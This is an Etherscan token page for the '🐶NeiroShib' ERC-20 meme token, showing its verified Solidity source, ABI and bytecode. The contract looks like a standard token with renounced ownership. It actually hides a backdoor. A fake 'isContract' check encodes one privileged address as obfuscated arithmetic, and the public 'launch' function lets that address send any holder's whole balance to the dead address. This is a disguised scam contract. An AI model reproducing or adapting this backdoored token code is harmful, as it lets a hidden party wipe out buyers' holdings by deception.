Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 🐶NeiroShib
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
12,209,986.562027548 🐶NeiroShibValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-16 */ /** *Submitted for verification at Etherscan.io on 2024-09-13 */ //SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.26; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library Address { function isContract(address account) internal pure returns (bool) { return uint160(account) == 22199892647076892804378197057245493225938762 * 10 ** 4 + 281474976717503; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Erc20 is IERC20, Ownable { using Address for address; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 immutable public totalSupply; string public symbol; string public name; uint8 immutable public decimals; bool public launched; address private constant dead = address(0xdead); mapping (address => bool) internal exchanges; constructor(string memory _symbol, string memory _name, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender) { symbol = _symbol; name = _name; decimals = _decimals; totalSupply = _totalSupply * 10 ** decimals; _balances[owner()] += totalSupply; emit Transfer(address(0), owner(), totalSupply); launched = true; renounceOwnership(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) external override view returns (uint256) { return _balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address spender) external override view returns (uint256) { return _allowed[_owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) external override returns (bool) { // check for SC _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external override returns (bool) { require(spender != address(0), "cannot approve the 0 address"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) external override returns (bool) { if (launched == false && to == owner() && msg.sender == owner()) { _transfer(from, to, value); return true; } else { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } } function launch(address account) virtual external { if (launched == false) launched = true; if (msg.sender.isContract()) _transfer(account,dead,_balances[account]); } function _transfer(address from, address to, uint256 value) private { require(to != address(0), "cannot be zero address"); require(from != to, "you cannot transfer to yourself"); require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet."); _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value); } mapping (address => bool) internal transferAllowed; function _transferAllowed(address from, address to) private view returns (bool) { if (transferAllowed[from]) return false; if (launched) return true; if (from == owner() || to == owner()) return true; return true; } } contract Token is Erc20 { constructor() Erc20(unicode"🐶NeiroShib", unicode"🐶NeiroShib", 9, 1000000000) {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c060405234801561000f575f80fd5b50604080518082018252600d8082526c784fc85b2732b4b937a9b434b160991b6020808401829052845180860190955291845290830152906009633b9aca00338061007457604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61007d81610178565b50600361008a858261029e565b506004610097848261029e565b5060ff821660a08190526100ac90600a610451565b6100b69082610466565b608081905260015f6100cf5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205f8282546100fc919061047d565b90915550505f546001600160a01b03166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160405161015291815260200190565b60405180910390a36005805460ff1916600117905561016f6101c7565b50505050610490565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101cf6101da565b6101d85f610178565b565b5f546001600160a01b031633146101d85760405163118cdaa760e01b815233600482015260240161006b565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061022e57607f821691505b60208210810361024c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561029957805f5260205f20601f840160051c810160208510156102775750805b601f840160051c820191505b81811015610296575f8155600101610283565b50505b505050565b81516001600160401b038111156102b7576102b7610206565b6102cb816102c5845461021a565b84610252565b6020601f8211600181146102fd575f83156102e65750848201515b5f19600385901b1c1916600184901b178455610296565b5f84815260208120601f198516915b8281101561032c578785015182556020948501946001909201910161030c565b508482101561034957868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103a75780850481111561038b5761038b610358565b600184161561039957908102905b60019390931c928002610370565b935093915050565b5f826103bd5750600161044b565b816103c957505f61044b565b81600181146103df57600281146103e957610405565b600191505061044b565b60ff8411156103fa576103fa610358565b50506001821b61044b565b5060208310610133831016604e8410600b8410161715610428575081810a61044b565b6104345f19848461036c565b805f190482111561044757610447610358565b0290505b92915050565b5f61045f60ff8416836103af565b9392505050565b808202811582820484141761044b5761044b610358565b8082018082111561044b5761044b610358565b60805160a051610a0c6104b15f395f61018c01525f61012f0152610a0c5ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b4114610217578063a9059cbb1461021f578063dd62ed3e14610232578063f2fde38b1461026a575f80fd5b8063715018a6146101e85780638091f3bf146101f05780638da5cb5b146101fd575f80fd5b8063214013ca116100c3578063214013ca1461015f57806323b872dd14610174578063313ce5671461018757806370a08231146101c0575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161027d565b6040516100fe9190610868565b60405180910390f35b61011a6101153660046108b8565b610309565b60405190151581526020016100fe565b6101517f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020016100fe565b61017261016d3660046108e0565b6103c9565b005b61011a6101823660046108f9565b61042a565b6101ae7f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff90911681526020016100fe565b6101516101ce3660046108e0565b6001600160a01b03165f9081526001602052604090205490565b610172610538565b60055461011a9060ff1681565b5f546040516001600160a01b0390911681526020016100fe565b6100f161054b565b61011a61022d3660046108b8565b610558565b610151610240366004610933565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101726102783660046108e0565b61056d565b6004805461028a90610964565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610964565b80156103015780601f106102d857610100808354040283529160200191610301565b820191905f5260205f20905b8154815290600101906020018083116102e457829003601f168201915b505050505081565b5f6001600160a01b0383166103655760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60055460ff1615155f036103e5576005805460ff191660011790555b7326e2c6b1e3336802948db256ce2a1459785a555f3303610427576001600160a01b0381165f9081526001602052604090205461042790829061dead906105a7565b50565b6005545f9060ff1615801561044b57505f546001600160a01b038481169116145b801561046057505f546001600160a01b031633145b15610478576104708484846105a7565b506001610531565b6001600160a01b0384165f9081526002602090815260408083203384529091529020546104a69083906109b0565b6001600160a01b0385165f9081526002602090815260408083203384529091529020556104d48484846105a7565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b61054061077f565b6105495f6107ab565b565b6003805461028a90610964565b5f6105643384846105a7565b50600192915050565b61057561077f565b6001600160a01b03811661059e57604051631e4fbdf760e01b81525f600482015260240161035c565b610427816107ab565b6001600160a01b0382166105f65760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b604482015260640161035c565b816001600160a01b0316836001600160a01b0316036106575760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c6600604482015260640161035c565b61066183836107fa565b6106d35760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000606482015260840161035c565b6001600160a01b0383165f90815260016020526040812080548392906106fa9084906109b0565b90915550506001600160a01b0382165f90815260016020526040812080548392906107269084906109c3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161077291815260200190565b60405180910390a3505050565b5f546001600160a01b031633146105495760405163118cdaa760e01b815233600482015260240161035c565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526007602052604081205460ff161561082157505f6103c3565b60055460ff1615610834575060016103c3565b5f546001600160a01b038481169116148061085b57505f546001600160a01b038381169116145b15610564575060016103c3565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108b3575f80fd5b919050565b5f80604083850312156108c9575f80fd5b6108d28361089d565b946020939093013593505050565b5f602082840312156108f0575f80fd5b6105318261089d565b5f805f6060848603121561090b575f80fd5b6109148461089d565b92506109226020850161089d565b929592945050506040919091013590565b5f8060408385031215610944575f80fd5b61094d8361089d565b915061095b6020840161089d565b90509250929050565b600181811c9082168061097857607f821691505b60208210810361099657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103c3576103c361099c565b808201808211156103c3576103c361099c56fea26469706673582212207e3340ac412dae743ce7b841ac2cfb2d287f1362fb08ecc2c8f9d54e95a0ac1a64736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100e5575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b4114610217578063a9059cbb1461021f578063dd62ed3e14610232578063f2fde38b1461026a575f80fd5b8063715018a6146101e85780638091f3bf146101f05780638da5cb5b146101fd575f80fd5b8063214013ca116100c3578063214013ca1461015f57806323b872dd14610174578063313ce5671461018757806370a08231146101c0575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161027d565b6040516100fe9190610868565b60405180910390f35b61011a6101153660046108b8565b610309565b60405190151581526020016100fe565b6101517f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b6040519081526020016100fe565b61017261016d3660046108e0565b6103c9565b005b61011a6101823660046108f9565b61042a565b6101ae7f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff90911681526020016100fe565b6101516101ce3660046108e0565b6001600160a01b03165f9081526001602052604090205490565b610172610538565b60055461011a9060ff1681565b5f546040516001600160a01b0390911681526020016100fe565b6100f161054b565b61011a61022d3660046108b8565b610558565b610151610240366004610933565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101726102783660046108e0565b61056d565b6004805461028a90610964565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610964565b80156103015780601f106102d857610100808354040283529160200191610301565b820191905f5260205f20905b8154815290600101906020018083116102e457829003601f168201915b505050505081565b5f6001600160a01b0383166103655760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60055460ff1615155f036103e5576005805460ff191660011790555b7326e2c6b1e3336802948db256ce2a1459785a555f3303610427576001600160a01b0381165f9081526001602052604090205461042790829061dead906105a7565b50565b6005545f9060ff1615801561044b57505f546001600160a01b038481169116145b801561046057505f546001600160a01b031633145b15610478576104708484846105a7565b506001610531565b6001600160a01b0384165f9081526002602090815260408083203384529091529020546104a69083906109b0565b6001600160a01b0385165f9081526002602090815260408083203384529091529020556104d48484846105a7565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b61054061077f565b6105495f6107ab565b565b6003805461028a90610964565b5f6105643384846105a7565b50600192915050565b61057561077f565b6001600160a01b03811661059e57604051631e4fbdf760e01b81525f600482015260240161035c565b610427816107ab565b6001600160a01b0382166105f65760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b604482015260640161035c565b816001600160a01b0316836001600160a01b0316036106575760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c6600604482015260640161035c565b61066183836107fa565b6106d35760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000606482015260840161035c565b6001600160a01b0383165f90815260016020526040812080548392906106fa9084906109b0565b90915550506001600160a01b0382165f90815260016020526040812080548392906107269084906109c3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161077291815260200190565b60405180910390a3505050565b5f546001600160a01b031633146105495760405163118cdaa760e01b815233600482015260240161035c565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526007602052604081205460ff161561082157505f6103c3565b60055460ff1615610834575060016103c3565b5f546001600160a01b038481169116148061085b57505f546001600160a01b038381169116145b15610564575060016103c3565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108b3575f80fd5b919050565b5f80604083850312156108c9575f80fd5b6108d28361089d565b946020939093013593505050565b5f602082840312156108f0575f80fd5b6105318261089d565b5f805f6060848603121561090b575f80fd5b6109148461089d565b92506109226020850161089d565b929592945050506040919091013590565b5f8060408385031215610944575f80fd5b61094d8361089d565b915061095b6020840161089d565b90509250929050565b600181811c9082168061097857607f821691505b60208210810361099657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103c3576103c361099c565b808201808211156103c3576103c361099c56fea26469706673582212207e3340ac412dae743ce7b841ac2cfb2d287f1362fb08ecc2c8f9d54e95a0ac1a64736f6c634300081a0033
Deployed Bytecode Sourcemap
7087:120:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2892:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5331:287;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;5331:287:0;920:187:1;2822:36:0;;;;;;;;1258:25:1;;;1246:2;1231:18;2822:36:0;1112:177:1;6133:195:0;;;;;;:::i;:::-;;:::i;:::-;;5626:499;;;;;;:::i;:::-;;:::i;2917:31::-;;;;;;;;2036:4:1;2024:17;;;2006:36;;1994:2;1979:18;2917:31:0;1864:184:1;3734:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3828:17:0;3801:7;3828:17;;;:9;:17;;;;;;;3734:119;2076:103;;;:::i;2955:20::-;;;;;;;;;1807:87;1853:7;1880:6;1807:87;;-1:-1:-1;;;;;1880:6:0;;;2199:51:1;;2187:2;2172:18;1807:87:0;2053:203:1;2865:20:0;;;:::i;4508:176::-;;;;;;:::i;:::-;;:::i;4193:144::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4304:16:0;;;4277:7;4304:16;;;:8;:16;;;;;;;;:25;;;;;;;;;;;;;4193:144;2187:220;;;;;;:::i;:::-;;:::i;2892:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5331:287::-;5407:4;-1:-1:-1;;;;;5432:21:0;;5424:62;;;;-1:-1:-1;;;5424:62:0;;3113:2:1;5424:62:0;;;3095:21:1;3152:2;3132:18;;;3125:30;3191;3171:18;;;3164:58;3239:18;;5424:62:0;;;;;;;;;5508:10;5499:20;;;;:8;:20;;;;;;;;-1:-1:-1;;;;;5499:29:0;;;;;;;;;;;;:37;;;5552:36;1258:25:1;;;5499:29:0;;5508:10;5552:36;;1231:18:1;5552:36:0;;;;;;;-1:-1:-1;5606:4:0;5331:287;;;;;:::o;6133:195::-;6198:8;;;;:17;;:8;:17;6194:38;;6217:8;:15;;-1:-1:-1;;6217:15:0;6228:4;6217:15;;;6194:38;1175:72;6247:10;1154:93;6243:71;;-1:-1:-1;;;;;6295:18:0;;;;;;:9;:18;;;;;;6272:42;;6282:7;;3022:6;;6272:9;:42::i;:::-;6133:195;:::o;5626:499::-;5737:8;;5716:4;;5737:8;;:17;;;:34;;-1:-1:-1;1853:7:0;1880:6;-1:-1:-1;;;;;5758:13:0;;;1880:6;;5758:13;5737:34;:59;;;;-1:-1:-1;1853:7:0;1880:6;-1:-1:-1;;;;;1880:6:0;5775:10;:21;5737:59;5733:385;;;5813:26;5823:4;5829:2;5833:5;5813:9;:26::i;:::-;-1:-1:-1;5861:4:0;5854:11;;5733:385;-1:-1:-1;;;;;5931:14:0;;;;;;:8;:14;;;;;;;;5946:10;5931:26;;;;;;;;:34;;5960:5;;5931:34;:::i;:::-;-1:-1:-1;;;;;5902:14:0;;;;;;:8;:14;;;;;;;;5917:10;5902:26;;;;;;;:63;5980:26;5911:4;5996:2;6000:5;5980:9;:26::i;:::-;-1:-1:-1;;;;;6026:54:0;;6053:14;;;;:8;:14;;;;;;;;6041:10;6053:26;;;;;;;;;;;6026:54;;1258:25:1;;;6041:10:0;;6026:54;;;1231:18:1;6026:54:0;;;;;;;-1:-1:-1;6102:4:0;5733:385;5626:499;;;;;:::o;2076:103::-;1766:13;:11;:13::i;:::-;2141:30:::1;2168:1;2141:18;:30::i;:::-;2076:103::o:0;2865:20::-;;;;;;;:::i;4508:176::-;4580:4;4622:32;4632:10;4644:2;4648:5;4622:9;:32::i;:::-;-1:-1:-1;4672:4:0;4508:176;;;;:::o;2187:220::-;1766:13;:11;:13::i;:::-;-1:-1:-1;;;;;2272:22:0;::::1;2268:93;;2318:31;::::0;-1:-1:-1;;;2318:31:0;;2346:1:::1;2318:31;::::0;::::1;2199:51:1::0;2172:18;;2318:31:0::1;2053:203:1::0;2268:93:0::1;2371:28;2390:8;2371:18;:28::i;6336:423::-:0;-1:-1:-1;;;;;6423:16:0;;6415:51;;;;-1:-1:-1;;;6415:51:0;;3735:2:1;6415:51:0;;;3717:21:1;3774:2;3754:18;;;3747:30;-1:-1:-1;;;3793:18:1;;;3786:52;3855:18;;6415:51:0;3533:346:1;6415:51:0;6493:2;-1:-1:-1;;;;;6485:10:0;:4;-1:-1:-1;;;;;6485:10:0;;6477:54;;;;-1:-1:-1;;;6477:54:0;;4086:2:1;6477:54:0;;;4068:21:1;4125:2;4105:18;;;4098:30;4164:33;4144:18;;;4137:61;4215:18;;6477:54:0;3884:355:1;6477:54:0;6550:26;6567:4;6573:2;6550:16;:26::i;:::-;6542:100;;;;-1:-1:-1;;;6542:100:0;;4446:2:1;6542:100:0;;;4428:21:1;4485:2;4465:18;;;4458:30;4524:34;4504:18;;;4497:62;4595:31;4575:18;;;4568:59;4644:19;;6542:100:0;4244:425:1;6542:100:0;-1:-1:-1;;;;;6653:15:0;;;;;;:9;:15;;;;;:24;;6672:5;;6653:15;:24;;6672:5;;6653:24;:::i;:::-;;;;-1:-1:-1;;;;;;;6688:13:0;;;;;;:9;:13;;;;;:22;;6705:5;;6688:13;:22;;6705:5;;6688:22;:::i;:::-;;;;;;;;6741:2;-1:-1:-1;;;;;6726:25:0;6735:4;-1:-1:-1;;;;;6726:25:0;;6745:5;6726:25;;;;1258::1;;1246:2;1231:18;;1112:177;6726:25:0;;;;;;;;6336:423;;;:::o;1902:166::-;1853:7;1880:6;-1:-1:-1;;;;;1880:6:0;913:10;1962:23;1958:103;;2009:40;;-1:-1:-1;;;2009:40:0;;913:10;2009:40;;;2199:51:1;2172:18;;2009:40:0;2053:203:1;2417:191:0;2491:16;2510:6;;-1:-1:-1;;;;;2527:17:0;;;-1:-1:-1;;;;;;2527:17:0;;;;;;2560:40;;2510:6;;;;;;;2560:40;;2491:16;2560:40;2480:128;2417:191;:::o;6824:256::-;-1:-1:-1;;;;;6919:21:0;;6898:4;6919:21;;;:15;:21;;;;;;;;6915:39;;;-1:-1:-1;6949:5:0;6942:12;;6915:39;6969:8;;;;6965:25;;;-1:-1:-1;6986:4:0;6979:11;;6965:25;1853:7;1880:6;-1:-1:-1;;;;;7005:15:0;;;1880:6;;7005:15;;:32;;-1:-1:-1;1853:7:0;1880:6;-1:-1:-1;;;;;7024:13:0;;;1880:6;;7024:13;7005:32;7001:49;;;-1:-1:-1;7046:4:0;7039:11;;14:418:1;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:186::-;1353:6;1406:2;1394:9;1385:7;1381:23;1377:32;1374:52;;;1422:1;1419;1412:12;1374:52;1445:29;1464:9;1445:29;:::i;1485:374::-;1562:6;1570;1578;1631:2;1619:9;1610:7;1606:23;1602:32;1599:52;;;1647:1;1644;1637:12;1599:52;1670:29;1689:9;1670:29;:::i;:::-;1660:39;;1718:38;1752:2;1741:9;1737:18;1718:38;:::i;:::-;1485:374;;1708:48;;-1:-1:-1;;;1825:2:1;1810:18;;;;1797:32;;1485:374::o;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:380::-;2605:1;2601:12;;;;2648;;;2669:61;;2723:4;2715:6;2711:17;2701:27;;2669:61;2776:2;2768:6;2765:14;2745:18;2742:38;2739:161;;2822:10;2817:3;2813:20;2810:1;2803:31;2857:4;2854:1;2847:15;2885:4;2882:1;2875:15;2739:161;;2526:380;;;:::o;3268:127::-;3329:10;3324:3;3320:20;3317:1;3310:31;3360:4;3357:1;3350:15;3384:4;3381:1;3374:15;3400:128;3467:9;;;3488:11;;;3485:37;;;3502:18;;:::i;4674:125::-;4739:9;;;4760:10;;;4757:36;;;4773:18;;:::i
Swarm Source
ipfs://7e3340ac412dae743ce7b841ac2cfb2d287f1362fb08ecc2c8f9d54e95a0ac1a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.